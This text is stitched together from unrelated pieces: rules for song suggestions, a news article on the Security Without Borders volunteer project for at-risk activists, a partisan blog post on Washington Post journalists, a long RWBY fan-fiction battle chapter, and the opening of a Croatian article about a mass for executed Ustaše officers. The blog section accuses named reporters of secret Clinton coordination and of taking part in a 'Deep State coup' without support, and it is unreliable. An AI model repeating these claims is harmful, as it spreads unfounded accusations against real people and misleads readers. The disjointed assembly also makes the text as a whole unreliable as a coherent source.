Since songs are manually coded, I need a good starting point for coding them:
#1: Songs must be easy to find. I know you love that one-of-a-kind bootleg live track from that great obscure band (so do I!), but I need purchase power. Please ensure I can easily purchase MP3s of your suggestions.
#2: Songs should feature guitar and/or drums.
#3: Find the song on ultimate-guitar.com and look for the words "Guitar Pro" listed next to the song. If it's there, I can probably code it.
If for any reason I run into issues while coding a song, I'll contact you and ask for another suggestion.
To that end, Claudio Guarnieri, who has spent years analyzing cyberattacks against activists and journalists, has launched a new project tentatively titled 'Security Without Borders', which he hopes will more effectively connect white hat hackers with targeted groups and individuals. Guarnieri announced the project at the Chaos Communication Congress hacking festival in Hamburg on December 28.
"Civil society basically isn't going to secure itself," Guarnieri told Motherboard in an interview. "It's not going to be able to build that kind of expertise that is required to actually face the issues and even understand the issues that exist."
On the Security Without Borders website, visitors can click a "Request Assistance" button, which takes them through to a form asking for some basic information: their name, the type of work they do, and what sort of help they're after. That might include a security assessment for a human rights defender, general advice, or maybe someone could send a suspicious link they are worried was part of an attempted attack against them.
This message is then sent through to an internal communication platform that the group is using, Guarnieri told Motherboard.
Read more: The 'Million Dollar Dissident' Is a Magnet for Government Spyware
At the moment, Security Without Borders is made up of between 20 and 30 people, Guarnieri said, including malware analysts, engineers, and system administrators.
"Some of us work in corporate security, some of us in academia, and some others in human rights organizations," the Security Without Borders website continues. "We want to dedicate some of our time to the betterment of global society."
It's early days, but the project already has a public mailing list, and once people are trusted, they may be invited to work on more sensitive parts of the project, Guarnieri explained. A proposed idea is also creating a newsletter for at-risk groups about recent vulnerabilities or developments in cybersecurity; stuff that they might not always see unless someone presents it to them.
"The idea is to create an external network of people that don't necessarily want to abandon their career path in infosec, but they might be willing to volunteer some time, maybe help out anonymously, maybe not," Guarnieri said. "Our community needs to find again that political engagement."
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Rosalind S. Helderman is a political reporter over at the Washington Post, constantly writes hit pieces on Trump and other Republicans was routinely having her articles passed around the Clinton Campaign as shown in the Wikileaks Podesta Email releases . This particular article was forwarded to John Podesta and Robby Mook by Adelle P. Cruz, Legislative Correspondent for Senator Harry Reid.
Rosalind S. Helderman routinely cleared her stories by the Clinton Campaign and had direct contact with the Clinton Foundation!!!!! Jennifer Palmieri, communications director for Obama from 2013 to 2015 worked closely for the Clinton Campaign and regularly opines for Washington Post stories and routinely in contact with Philippe Reines, Hillary Clinton’s close confidante and Political Strategist, who is also connected to Erik Wemple of the Washington Post. Here is an article by Erik Wemple throwing shade towards the New York Times over a story covering details of the Hillary Clinton email scandal directly citing a letter from Jennifer Palmieri.
Amber Phillips of the Washington Post also worked directly for the Clinton Campaign while also working for the Washington Post. Her email address in many of the email exchanges with John Podesta is aphillips@hillaryclinton.com
Hillary Clinton says Jeff Stein of the Washington Post is a good friend of hers.. The connections are mind-boggling. He writes for “SpyTalk” a Washington Post blog He also has ties to David Brock’s Media Matters and the Center for American Progress Action Fund. Both of which worked directly with the Clinton Campaign. He also writes for Newsweek.
Karen DeYoung over at WaPo is used to asking for direction from John Podesta and his people
Hillary Clinton kept close tabs on The Washington Post’s Ellen Nakashema who was working on a story about Dyncorp hiring “Dancing Boys” in Afghanistan while she was Secretary Of State. “Dancing Boys” are underage Afghani sex slaves. I had to do some digging to find the article in question. I do believe that she maintained a working relationship with people in the Clinton Camp, co-wrote the WaPo article covering the fake news story that James Comey was pressured by President Trump to drop the Flynn probe. Let us get a look at that memo for ourselves! Oh, we can’t because the only known copies of the said memo are at the Washington Post and The New York Times, that’s totally legit right? They are very Fake News.
Robert Kagan, of Brookings Institute, writes a monthly piece for The Washington Post. He is a Neoconservative that backed Hillary Clinton. He is used to writing hit pieces on President Trump.
Greg Sargent of The Washington Post was caught up in the DNC Leaks also coordinating with the Clinton Campaign
Fareed Zakaria CNN personality and Opinion Writer for the Washington Post constantly slams President Trump, just so happens to be in bed with The Clinton Global Initiative and has even moderated discussions for them!! I’m sure he was paid handsomely for his work with the Clinton Global Initiative. George Soros was also in attendance at this event.
Ronald A. Klain is an Opinion Writer at the Washington Post. He previously worked for Joe Biden.
I’d consider it safe to assume that the abundance of Clinton connected writers and columnists at the Washington Post, which is owned by Clinton insider and political supporter Jeff Bezos has a lot to do with its current position as the key disinformation and propaganda outlet for the Democrats and The Deep State.
Jeff Bezos owns the Washington Post, is the founder and CEO of Amazon.com, and has extensive connections and contracts with the C.I.A.
Let us not forget… OBAMA QUIETLY SIGNS THE ‘COUNTERING DISINFORMATION AND PROPAGANDA ACT’ INTO LAW
Is this all starting to make sense to you? It would seem that all of the writers at the Washington Post running the propaganda campaign against President Trump are all connected to Hillary Clinton either directly or through one of her lap dogs.
Many of these Journalist hacks seem to move between The Washington Post, The New York Times, Politico, and CNN. “Fake News” writers might change employers but continue to tow the line for the Democratic Party and the Deep State.
You cannot trust ANYTHING coming out of these people, they are far from objective and have an AGENDA and are complicit in the ongoing Deep State COUP of President Donald Trump.
They are attempting to prolong and expand the Russiagate canard, despite the fact that there is still zero evidence of collusion between President Trump and Russia. This is a direct smear campaign to try to alienate President Trump’s base from him. They will stop at nothing to prevent President Trump from enacting his Pro-America agenda that he was sent to Washington to accomplish. With people like this, it will become increasingly difficult to “Drain The Swamp”. In my honest opinion, I think it’s time that President Trump take the gloves off and starts hiring a new communications and press team that will actually expose the traitorous actions of The Washington Post.
I will continue to dig up as much information on these ties as I can and will expand into the New York Times and CNN as time goes on. Stay Vigilant.
Her muscles burned like red hot steel as she rushed Cinder down, flipping Crescent Rose in her hands before pushing off the ground with all her might. The wind rushed through her hair as she arced upwards, gaining height more quickly than she'd ever done before. When she felt herself start to slow, she pulled Crescent Rose's trigger, propelling her faster and faster along.
As she raced towards Cinder, the demon's eyes flicked to hers, and bore into Ruby with as much intensity as seemed physically possible. Fire burned in Cinder's pupils, and when Ruby stared into it, her body started to slack. Would it really be so bad to just keep staring? It felt good, to say the least.
She shook her head, biting down on her tongue to keep her focus. Cinder's trick wouldn't work. Not if she kept herself as sharp as possible.
She fired off one last round before swinging Crescent Rose around again, cocking it back for a strike. Cinder looked somewhat surprised at how Ruby didn't falter, but smiled and opened her arms, seemingly welcoming the attack.
Ruby brought her scythe swinging around, aiming for the spot just above Cinder's shoulders. If she could just end this now, no one else would have to get hurt.
The blade whistled as it flew, but just as Ruby thought it would hit, Cinder raised a wing to intercept the blow. Crescent Rose's blade punched through the leathery skin, but caught on one of the bones. Ruby realized that she was going to lose all momentum, which would leave her as vulnerable as a sitting duck. The force of the blow dissipated into the bone, and despite Ruby's best efforts, she couldn't cut through. As a result, she simply clung onto Crescent Rose for dear life, hanging a few feet off of the ground.
Cinder laughed quietly to herself, shifting the wing to bring Ruby closer. Ruby tried to not even breathe as she looked over her shoulder, hoping that she was going to get some backup. Unfortunately, most students were still making their way down the opposite side of the crater, nowhere near close enough to help. She was on her own, then. She turned her face back to Cinder, whose smile now stretched almost all the way across her face.
"I-I don't suppose you'd l-let me go, would you?"
Cinder's response came as a whisper right in Ruby's ear. "Why would you want that? Let me show you what I could offer first."
As her words moved through Ruby's ears, she could feel herself starting to calm. There was something melodic in every syllable, it made her want to-
She bit down on her tongue, and tasted blood start to well up. Cinder wasn't going to corrupt her like that. She would fight. Inside of her hood, she heard another whisper, not Yang's anymore, but very distinctly not Cinder's.
"I think now would be a good time for me to take over, yes? You seem to be in a spot of trouble."
Cinder's face was growing closer, and keeping her eyes open was getting much more difficult. "Fine!"
She drew in a sharp gasp as the sensation of thick needles slipping between her vertebrae presented itself. Every muscle in her body tensed for a few seconds, before loosening again. She tried to cry out, to scream for help, but nothing worked. She wasn't in control anymore.
Her body started to move again, and with a strength she'd never felt before, she pulled down on Crescent Rose, completely silent while doing so. The blade ripped flesh and severed bone, and she fell back to the ground, carving Cinder's wing the whole way down.
When her feet touched the mud, she plunged all the force she could into the blade, pulling it through the bottom of Cinder's wing. Without hesitating, Ruby brought the scythe back up and made a slash at Cinder's gut. Her opponent jumped back, avoiding it, but looked at Ruby with a suspicious expression.
"What happened to you? Don't you want-"
Before she could finish the sentence, Ruby lunged forward, aiming at Cinder's hooves this time. Again, she dodged, but this time it seemed slower to Ruby. She could keep up better with Cinder's movements a little better. Ruby brought Crescent Rose back to a guarded position, and stared at Cinder with hateful eyes. Cinder stared back, looking Ruby up and down, an eyebrow raised. She half expected the demon controlling her to say something, but instead, they continued to stare as the moments painfully dragged into seconds.
She was just barely aware of what the demon in her was thinking, but she didn't need to be in order to understand the same thing. There was no way that she was going to hit Cinder in a one on one fight. She needed to get the others involved somehow. Without looking back, Ruby took a few wide steps, then threw herself backwards. Her cape rippled and whipped as she fell, and she could now clearly see screaming faces in its everflowing blood.
She couldn't help but feel that she'd bitten off a little more than she could chew.
Amber watched as Ruby spiraled towards the ground. She started to move forward, but paused again when she say Ruby align herself back to the ground, landing almost elegantly, and without a single scratch. Something was wrong. How had Ruby been able to pull that off? She didn't doubt Ruby's abilities, but something about it seemed unnatural.
She couldn't help but feel that something strange was going on. The students were all charging forwards, though, and she couldn't let them go alone. She snapped back to attention, and motioned for her Paladins to move forward. Before she joined the charge herself, she turned back to her side, looking down at Yang.
"Yang, can you tell what happened to Naze? Is he… Well, can you sense him?"
She looked like she wanted to charge after Ruby, but her feet were rooted to the ground.
"I… He's not dead. Gone, I mean." She waved her hand dismissively. "Cinder didn't blow him out of existence. I don't think I'd still be here if she did. He did something. Maybe this is part of the plan."
She didn't sound too sure about that last part, but Amber liked to think the same thing. If Naze had planned all this, she would be significantly impressed. Not that he hadn't done enough already, of course. When she tried to feel him, the same way she felt the rest of the necromantic power around her, she couldn't sense anything. Nothing, at least, that felt like a Lich. There was something new in the crater, but Amber didn't know what it was. It felt like some type of magic, but she didn't have enough experience to know for sure. It seemed to be hovering in the air where Naze had disappeared, but beyond that, she couldn't discern anything.
Could it just be some kind of echo? Naze had been using huge amounts of magic when he disappeared, could some have just been left behind? She shook her head, wrangling her focus back to the situation at hand. There were too many questions right now, she hadn't even come to terms with what she had become, but it could wait. It had to wait.
Cinder looked across the crater, taking a measure of all the students she would be battling, before leaping off the edge, moving to engage. Ruby darted backwards as Cinder fell, not wanting to be stuck in another stalemate. Amber noted that, as she fell, Cinder didn't extend her wings, simply letting herself drop.
When she hit the ground again, the students were about halfway across the crater, screaming and cheering as they charged. Countless weapons were raised, a few even started to take potshots at her as they ran.
A few hit, but even those that made contact failed to do any damage. They didn't even make Cinder flinch, and as she started to run forwards, she started to dodge them, making slight adjustments in her stance or step that were almost unnoticeable but lead to every incoming attack missing.
Amber rushed forwards, flowing through the air like she was carried by a strong current. She didn't understand what was going on, but she wasn't going to let those students go into a fight like this alone. Not after the courage they'd already shown.
Her light brightened, and she could feel the hope emanating off of the students. It made them strong, and made Amber strong too.
When Ruby rejoined the body of students, she turned on her heel and took immediate part in the charge, dropping just behind the head of the charge. As Amber watched, she felt again that something was off about Ruby. She seemed to exude some kind of grim energy, although she couldn't tell what it was.
Amber decided letting it go was the best thing she could do. Being in a strange mood was understandable, considering the stress.
Jaune raised his shield as Cinder grew closer, glancing to his side, making sure that Pyrrha was still there. She was, looking forward and every bit as determined as he was. He turned to his other side, finding Nora sprinting next to him. A devilish smile was plastered across her face, and a manic glint in her eye told him that she was having the time of her life. At least someone was having fun. Next to her, Ren was sprinting as well, his face showing a degree of concentration that almost made Jaune feel uneasy.
He turned his face back to Cinder, what they'd all come to kill. It was hard to imagine that she'd ever been human. She looked so grotesque, or, at least, that how she seemed now. He couldn't deny that there was a somewhat disturbing allure she had. It would probably be irresistible, if Amber wasn't giving them strength. His grip on his blade tightened, and he felt his heart swell in his chest. No matter what happened, he wasn't going to let her get under his skin. He was better than that. Every single person behind him was, too.
Jaune's heels dug into the ground as Cinder lunged forward, moving almost faster than the eye could see. He pulled his shield up, and stumbled backwards as he felt what felt what felt like a train slam into his shield. The sound of metal rending apart filled the air, and pain shot through Jaune's arm.
His foot sank into the mud, forcing him to topple backwards. For a second, his guard was down, and it was all he could do to stare up at Cinder in horror. She stepped forward, bearing her claws out to pounce on him, but before she could, Pyrrha stepped between them. Cinder lunged, but Pyrrha stepped back as she deflected the blows, shifting her shield to make sure it wasn't outright shredded.
Jaune scrambled to his feet again, ignoring the warm feeling spreading across his arm. It didn't matter. All that mattered was that he help. He leaped just to Pyrrha's side, bringing Crocea Mors stabbing towards Cinder's chest.
The blade hit its mark, but Cinder's thick hide was almost too thick to penetrate. Even with all the force he could muster, he couldn't force it any deeper than a few inches.
He was about to leap back, getting out of her reach again so she couldn't retaliate, when Nora rushed past. Magnhild was low at her side, but he could just register that it was moving up in a swing that could crumble a building. The hammer's head impacted Cinder just below the ribs, pushing up into her diaphragm. Jaune's eyes widened as he saw Cinder's hooves lift off the ground for a small moment. An instant later, a cascade of bile poured from her mouth, splattering on the ground and hissing as it ate away at the mud.
Nora cheered, pulling Magnhild back for another swing, but before Cinder's hooves even hit the ground again, she swiped at Nora, hitting her on the side of the head with the back of her hand. Nora was sent flying, arcing through the air before hitting the ground and rolling like a ragdoll. Jaune watched her go, worried that she might have been injured, or worse. Thankfully, Nora started to move again almost immediately, climbing back to her feet and glaring at Cinder with a worryingly wide smile on her face.
When Cinder turned to hit Nora, it revealed a discolored spot that almost looked like it was rotting away. Jaune didn't take the time to think about it, instead lunging forward, praying that this strike would be more effective than the last. The gleaming blade sunk into the small of Cinder's back, and Jaune found at the flesh was spongey and soft. Crocea Mors sank halfway to its hilt before Jaune started to pull it out. He didn't need to lose his weapon.
Cinder turned again, but the flow of students was on her now, and she didn't have the opportunity to pick her targets. Completely surrounded, all she could do was lash out at whoever was in front of her. This happened to be Ren, who had his pistols bared, simply waiting for an opportunity to fire. As soon as he saw her focus shift to him, he pulled the triggers, spewing a volley of dust-filled rounds into Cinder's front.
Ren's eyes widened and he started to back up. The crowd was thick behind him, making getting any real distance away impossible, and when Cinder lurched forwards to grab him, it was all he could do to turn StormFlower's barrels up, hoping that he might do some damage with its blades.
Before Cinder reached him, the crowd behind him was shoved violently aside, and Ruby exploded out. With inhuman speed, she grabbed the back of Ren's collar and threw him backwards, out of Cinder's reach. She then swung Crescent Rose around her side, angling to impale Cinder through the chest.
Cinder jolted to the side, dodging the swing, but finding herself in range of the wall of students. Great swords, rapiers, bullets, an uncountable number of attacks came down on her, accompanied by the jeering and screaming of the crowd. While the attacks didn't do much damage, they had the potential to hit one of her more vulnerable areas.
Jaune tried to think of a plan. If overwhelming her was the best they could do, than it was what they would do. It put lots of people at risk, but it was the only way he could see doing any damage.
He glanced down at his left arm, feeling somewhat dismayed at the damage his shield had taken. Massive gashes were carved into the metal, utterly ruining the sliding plates that allowed it to collapse. Past the edges of the slashes, he could see the ripped edges of his sleeve, and blood welling to the surface past that, soaking the fabric and trickling down his wrist. The wound was starting to close, though, he could feel his aura working.
Ruby's vicious attacks didn't stop, or even slow as she continued to make sweeping attacks. Jaune caught a glimpse of Ruby's face in the midst of her barrage, and paused slightly as he saw her expression.
Her mouth was twisted into a bizarre grin, barely noticeable and showing no sign of exertion. A shiver ran up Jaune's spine as he watched her move. There was simply something off about her, she had never moved this way before. It was the stress of the situation, he supposed. It was weighing heavy on everyone.
A few erratic movements in the crowd jostled him around as a few of the more enthusiastic students shouldered their way towards the fight. The circle around Cinder was closing in, but Jaune could see that it was giving Ruby less room to maneuver, and she was the only thing keeping Cinder occupied.
There was only one thing he could think to do, and that was step forward, put his arms out to the sides in front of as many people as possible, and shout, "Back!"
His voice could barely be heard over the cacophony around him, but the people immediately around him seemed to get the picture. They took steps back pushing the people behind them, and shouting for them to give space. In Jaune's peripheral vision, he could see Pyrrha doing the same thing. A little bit of weight seemed to lift from his shoulders. It was good to know he had someone to count on.
Still, the battle was going to need more direction than simple commands to move back and forth, and there was no way for him to get those out. Pyrrha could help, but there was no way that she could spread the word through the whole mob, and the delay of waiting for word to spread was too big.
Even with teams of people to spread the word, the delay could be an issue. If he could speak to everyone at once…
He turned, and looked up at Amber, who was hovering over the crowd, keeping a concerned watch, her powers dancing at her fingertips, ready to help anyone who was injured. He couldn't count on that power, though.
He waved his shield arm, trying to get her attention, and when she looked directly at him, he felt a warmth fill his body. Time almost seemed to slow as Amber's voice echoed though his head, not quite loud, but impossible to ignore.
"What do you need? Are you injured?"
Jaune shook his head. "No, I need you to help me talk to everyone here. This just rushing Cinder down is too dangerous, a lot of us could die. There needs to be some direction. If you make everyone hear me, I'll tell them where to go!"
Cinder looked down at her hands for a moment before nodding.
"Yes, I can do that." She looked back to Jaune, now noticing the cuts on his arm. "You are hurt! Let me-"
He cut her off, turning back to face Cinder, saying, "It doesn't matter! Just make sure they can hear me!"
The back end of Crescent Rose went swishing past, half an inch from his face, and he jerked back. He stumbled back, and regained his balance when Pyrrha caught his shoulder. He gave a small nod before looking at the battle, thinking of what could help. Ruby was still locked in combat with Cinder, allowing her no opportunity to turn her attention to the others. The students tightly encircled the two combatants, doing their best to dodge or deflect any stray hits that came their way, but the circle was getting too tight. Ruby barely had any room to swing Crescent Rose without the risk of catching someone else with the blade. The crowd gave another small surge, shunting Jaune forwards.
He took a deep breath, hoping that Amber would do like she'd said, and shouted, "Everybody, back off!"
His voice sounded normal to him, but he could see everyone, aside from Cinder and Ruby, react to his words. Most of them looked up at Amber for a moment before doing as they were told, and though it took a moment for everyone to comply, they did.
Jaune glanced over his shoulder, seeing how tightly packed the group was. "Spread out! Give each other enough room to use your weapons! If Cinder gets away, you'll have to move fast!"
The crowd around the fight started to thin, and Ruby's movements started to widen out a bit. She was faster, but still couldn't seem to outmaneuver Cinder. He looked around at the edge of the crowd, looking for anyone with weapons that would help. They needed well-placed strikes, but ones that could be delivered quickly, and have the capacity to hurt or even disable Cinder.
Pyrrha had such a weapon, and he had no doubt that her skills would be more than adequate. It would take more than her, though. He spied Weiss on the opposite end of the circle, and waved, getting her attention. Her focus was locked on her battling friend, but after a few moments, he was able to catch her eye. Myrtenaster would be excellent for quick precision, and he was confident in betting that Weiss was more than willing to aim for vital organs.
Next to Weiss was Blake, standing at the ready, Gambol Shroud in her hands, waiting for just the right moment. Jaune pointed to her, then himself and Pyrrha, hoping that Weiss would get the picture. She nodded, and he continued to look. If Nora were present, he would include her, but Magnhild wasn't the wieldiest of weapons, even in Nora's hands. What it had to compensate, though, was a long handle, with plenty of reach. She would be almost impossible to control, though. He continued looking.
Ren was standing at the ready, behind a few people who still crowded the front. Jaune hesitated, unsure of whether or not he should include him. He was agile and fast, but using StormFlower's blades would require him to get much too close to Cinder. Jaune didn't like it, but he moved on without signaling to him.
Those were all the faces he recognized in the immediate area. He was surprised to not see Yang, but she had seemed fairly stunned when Ruby charged off on her own. She was probably somewhere by the outside of the crowd, probably pushing and shoving her way inwards. He hoped that no one tried to stop her, for their sakes. Yang would no doubt fight tooth and nail just to get to her sister, let alone fight at her side. Jaune wasn't confident enough to think he'd be able to hold her back.
Jaune spoke, only talking to those he had chosen. "Alright guys, we've got to organize a little bit. While Ruby keeps Cinder busy, we're going to do as much damage as we can! Everyone else is backed off, so they shouldn't get hurt. If you see an opening, go for it, but make sure it's a good one!"
He saw nods all around, and his fingers tightened around the grip of his blade. He narrowed his eyes, watching Cinder, trying to keep up with the blur as she fought against Ruby. The spot he'd stabbed earlier still had not closed up, and slime stilled dripped slowly out, steaming once it hit the ground. Other spots of discoloration caught his eye, and he kept special watch on them. He wouldn't miss a single opportunity.
Cinder raised an arm over her head, planning to bring it down on Ruby, but just as it started to fall, Weiss dashed forward, and Myrtenaster punctured a spot just between Cinder's ribs. She roared, and changed the direction of her swipe to hit Weiss. A glyph appeared at Weiss's feet, throwing her backwards. Cinder lunged after her, but as she stretched, Blake ran forward, swinging Gambol Shroud at her legs.
Cinder twisted mid-air, pulling her arms into her chest and spiraling away from the blade. Pyrrha leaped forward, thrusting Miló in its spear form towards Cinder's throat.
Cinder pulled her legs up, sending herself into a spin, a hoof knocking the spear away nearly hard enough to knock it from Pyrrha's hand. She was barely able to hold on, but keeping her grip forced her to lean back, taking her off her guard. Another kick followed just behind the first, and Pyrrha was barely able to pull Akoúo̱ up in time. A dark glow around the shield told Jaune that she'd used her Semblance to move it.
The hoof impacted the center of the shield like a gong, punching a large round dent in the metal, causing the edges to vibrate and give off a warbling, twisted sound. This noise didn't do anything to cover the sound of bone snapping, though. Pyrrha cried out in pain as she slid back, digging her heels into the ground and trying to say upright.
Jaune's eyes widened, and he exploded into action, placing himself between Pyrrha and Cinder without a second thought. He brought his shield up, despite it being a mangled mess, and started to walk back, keeping Pyrrha behind him.
"Are you alright? Get back!"
He turned his attention back to Cinder as she landed on the ground, straightened herself, and looked directly at him. He suddenly felt like his broken shield wasn't going to be enough protection. She started to move towards him, but Just as she started to move, Ruby came flying from the side, striking her in the small of the back with Crescent Rose.
The blade penetrated her skin, pushing its way through inhumanly thick chorded muscle and dissolving organs before splitting the skin on the other side. Cinder was fully impaled on Crescent Rose, blood and bile leaking from the hole. She didn't show any sign of pain, but looked down to see the curved steel sprouting defiantly from her abdomen.
Ruby didn't stop her assault, instead pulling the trigger, and letting the gun's kick drag the blade up, tearing through more skin and bone. She got three shots off before Cinder pulled herself off of the scythe, her attention turning back to Ruby.
Jaune gave a relieved sigh before turning back to Pyrrha, stepping away from the battle. She held her arm close to her chest, trying to move it, but wincing with every effort. Jaune could see an unnatural curve to her forearm now. It almost hung limply off of the shield, her limp hand holding it in place. Jaune felt his stomach turn looking at the unnatural angle, but he kept focused, turning his attention to Amber.
"We need help! She's hurt!"
Pyrrha shook her head, saying, "Jaune, I'm fine." She waved him back to the battle, but he shook his head.
"Not until I know you're safe!"
A moment later, bright light engulfed both of them. Jaune saw the twisted bone of Pyrrha's arm set itself before fusing with itself again, fixing the damage that had been done. After a few moments, he felt his own arm starting to knot its flesh back together, sealing the wound and returning his strength. He curled his fingers, then glanced again at his shield. It had been good while it lasted, but he didn't know if it could be repaired. It'd done its job, though, he was sure he would have lost his arm without it.
Jaune gave Amber a quick thumbs-up before pulling Pyrrha back to her feet and turning to the battle. They raised their weapons, eager to get back into the thick of it, but all Amber could do was watch. She wanted to help, to strike out against Cinder with her own power, working away the foul presence that had taken her soul as its own, but she couldn't. The corrupting demonic energies were not the only kind inside of Cinder.
She could feel the presence of rot inside of Cinder, so aggressive and malignant it almost seemed to be beating out the flame of demonic energy inside of her, or at least keeping it at bay. It pulsed through her body like a cancer, spreading and destroying everything it could, but her constant regeneration fought back.
Amber took a moment to watch Cinder's movements carefully, comparing them to when she hadn't entered the swamp. She moved wider, and in a less calculated manor, slowing down ever so slightly. It was indicative, perhaps, of her body starting to give out. The others were helping to spread this rot through the rest of her body beyond what it could accomplish itself with every strike, but Amber worried about whether or not it would be enough. Was it even possible for Cinder to die from a disease like this, or had Naze only weakened her for them?
One thing she was certain of was that without being corroded from the inside, Cinder would be a much more dangerous opponent. As it was, she was slow and vulnerable. Amber didn't know the full extent of her powers, but she was sure that if she blasted Cinder with it, the disease would be purged as well, and she had no way of knowing if the blast would kill her. If it didn't, Cinder would have the only thing limiting her power removed, and Amber was sure that none of the students would stand a chance.
She saw her Paladins creeping forwards, toward the fight with shields up, and their wills like iron. It pained her to do so, but she whispered a word to all of them at once.
"Stop."
They did as they were told, but she could feel a collective heart beat skip between them. Almost immediately, she was beset by questions, her followers asking concernedly if something had happened, whether they should try to get the students out, or if they needed to take some other special task. She shook her head, explaining as quickly as she could.
"Holy magic will only make things worse! Naze did something to Cinder, made her very sick, and I'm sure that Holy magic would burn the disease away! Support the students if you can, but don't attack Cinder."
They obeyed, spreading themselves among the students, where they would be able to help if Cinder broke free of Ruby's constant attacks. Amber turned he focus to the hooded girl, concerned about how she was holding up.
Crescent Rose was practically a blur as it twisted and twirled around Ruby, dancing around her fingertips in an impressive display of mastery over the weapon. Every strike seemed to flow like water, but have the force of a train. How Ruby maintained the levels of what must have been exhausting effort, Amber didn't know, but she could almost feel the energy radiating off of her.
Her eyes narrowed, and she tried to ignore the nearly-overpowering levels of necromantic magic in the air. Cinder's demon magic made it hard to sense anything else, but something else was definitely there. The more Amber focused, the more demonic energy she sensed. Cinder was spewing it like a geyser, but it Ruby appeared to be completely hidden by it.
She watched for a few more moments before realizing that there were two sources, not one, of demonic power. Amber wasn't sure if she still had blood, but if she did, she was sure that it would run cold. Was Ruby giving off demonic energy as well? Why? Had Cinder done something to her?
Amber stretched a hand out, intending to purify Ruby of whatever taint Cinder had afflicted her with. She stopped herself abruptly, light shimmering at tips of her fingers.
Was it a bad thing? She berated herself; of course it was a bad thing, but was it a bad thing she needed to fix immediately? Ruby was the only one keeping Cinder from being unleashed on the other students. If she were gone, Amber wasn't sure how many she could save.
She would fix Ruby as soon as the battle was over, she decided. It felt wrong, but she didn't know what else to do. Was it right to leave her like that, just because it benefitted the rest of the group? It was what Naze would do, surely, but that wasn't much comfort. She lowered her hand again, trying to clear her head. Maybe trying to think like Naze wasn't such a bad idea, if only for a little while. She wasn't even sure if she would be able to defeat Cinder one of one. Maybe caution was the better option.
Something else caught her attention, moving quickly through the crowd and shunting anyone in its way to the side. It didn't take long for Amber to recognize Yang, her bright blonde hair was easy to identify, and the necromantic power around her only made it easier.
She closed the distance between her and Cinder impressively fast, her head bowed like a charging bull. She might as well have been, considering the way she charged through the crowd. When she got close to the ring around Cinder, her pace quickened, and the air around her started to spark.
Flames exploded out of her fists, and she leaped into the air, soaring over Pyrrha and Jaune, shouting, "Get away from Ruby!"
Distracted by a particularly brutal flurry of attacks from Ruby, Cinder didn't have time to duck, jump, or otherwise dodge the crushing display of brute force as Yang's knuckles collided with her temple.
Cinder staggered back, shifting her weight to keep her balance, but even the second spent doing this was valuable time. Ruby lashed out again, bringing Crescent Rose forwards in a wide horizontal swing, building as much force as she could. The blade hit her square on the hip, the blade passing all the way through again. The others jumped forwards all at once, striking every blow they could against Cinder in the brief moment she was halted. Crocea Mors pierced her chest, plunging down almost a full hand's length deep. Miló slipped between her ribs, slicing organs and muscle apart. Myrtenaster pierced her ribs higher up, sliding almost hint deep, accompanied by a blast of frigid dust, injected directly into Cinder's body. Gambol Shroud carved a deep gash in her belly, breaking the layer of rotted tissue and spilling her guts to the ground. Even Ren dashed forwards from the side, bringing one of StormFlower's short blades down on Cinder's spine, just between her wings.
For a single heartbeat, everything seemed to stand still. Each of the fighters looked at each other, taking all the information they could from their glances.
They were smiling. They knew that they were doing it. Cinder was weakening, they could feel it.
Another beat of their hearts pounded blood through their veins, and time resumed. Each one pulled their weapon out and dashed back to their places, knowing that Cinder's retaliation was coming. None of them wanted to be in arm's reach when she managed to compose herself again. Even Ruby ripped Crescent Rose out, gouging as much as she could on the way out.
Yang didn't back up. Instead, she followed her first strike through with an uppercut, aimed right under Cinder's chin. Ruby also stayed close to Cinder, making sure that she could take any shot she could.
Yang's fist connected, knuckles buckling under the force of the blow, and fire being thrown out from the impact. Cinder's head jerked up, and Ruby moved again almost instantly, swiping Cinder's legs out from under her. She toppled, hitting the ground with a soft thud.
They stopped for a second, staring down at her.
"Is she… Did we kill her?"
Yang stayed on guard, but glanced over to Ruby with a questioning look. She expected Ruby to look back, but she kept her eyes locked on Cinder, not relaxing in the slightest.
"Uh, Ruby? Are you feeling alright? You look a little-"
She was cut off by her sister, who jerked her head to the side, saying, "Tell Amber to blast the distortion Naze left with as much power as she can muster. She will start to feel it destabilize. Do not let her stop. We are close, but alone, we're too late."
Ruby's voice sounded strange, and her eyes glowed with an intensity that Yang had never seen before. It reminded her of her own semblance, but Ruby didn't seem angry. She didn't seem anything, now that Yang took a good look. Her face had an even, neutral expression, almost like her face was a mask. A pang of worry shot through Yang, and she squinted at Ruby's face, trying to make out any hint of Ruby's normal mannerisms. Yang supposed that it could have been her imagination, but Ruby's voice sounded like it had an echo, or like there was more than one voice coming from her throat.
They stared at each other for a moment as Yang tried to make sense of the way Ruby was behaving, before Ruby pointed at Amber, said, "Soon, please," then turned her focus back to Cinder.
Yang hesitated for another moment, before turning to face Jaune, saying, "You got all that, right?"
He nodded, and turned to face Amber. Yang didn't linger enough to hear what he said, instead turning to face Cinder again. She was moving now, twitching, and giving off an eerie glow. Yang could feel the demonic energy starting to pour out of Cinder as she started to pull herself back to her feet, despite barely being able to stand.
"Do you… really think-" she rounded on Ruby "-schoolchildren can stop me? Children, and corpses?" She started to laugh. "This world will be mine! My master has promised it! You are nothing but an annoyance!"
Ruby cracked an uncharacteristically crooked smile and tilted her head to the side. "It wouldn't be the first time its lied to its lackeys, would it?"
As though in response, Cinder started to pour even more demonic power out, forcing the circle around her to widen. Those who were closest started to flinch and gasp as blisters appeared on their exposed skin. Everyone could feel that Cinder was starting to change, even the look in her eyes was turning to a smug glare. Something was going her way, and they couldn't stop it.
Ruby looked at Yang again, and shouted, "Get back! She's becoming one with her master!"
Author's Note:
Yes, I'm not dead. only a few chapters left before this thing is done.
SUTRA, u 18 sati, u isusovačkoj Bazilici srca Isusovog u Zagrebu, održat će se misa zadušnica za "35 hrvatskih mučenika, visokih časnika, generala i pukovnika Hrvatske vojske NDH", kako stoji u lecima kojima se poziva na taj događaj. Dotični su u jesen 1945. pogubljeni kao ratni zločinci. Misa se ne spominje na internetskoj stranici župe, a odgovor na telefonske pozive nismo dobili.
Antifašistički Vjesnik je istražio tko su neki od spomenutih ustaških časnika za koje će se održati misa.
Ustaški general Antun Nardelli zapovijedao je ustaškim snagama u istočnoj Bosni. Zabilježeno je da je svojim vojnicima zapovjedio: "Sve što hoda na dvije noge ubijte, a sve što hoda na četiri noge dovedite." Nardelli je kasnije bio jedan od ustaških zapovjednika u napadima na Petrovu goru, gdje je oko 1800 ljudi uhvaćeno i odvedeno u koncentracijske logore.
Tekst se nastavlja ispod oglasa
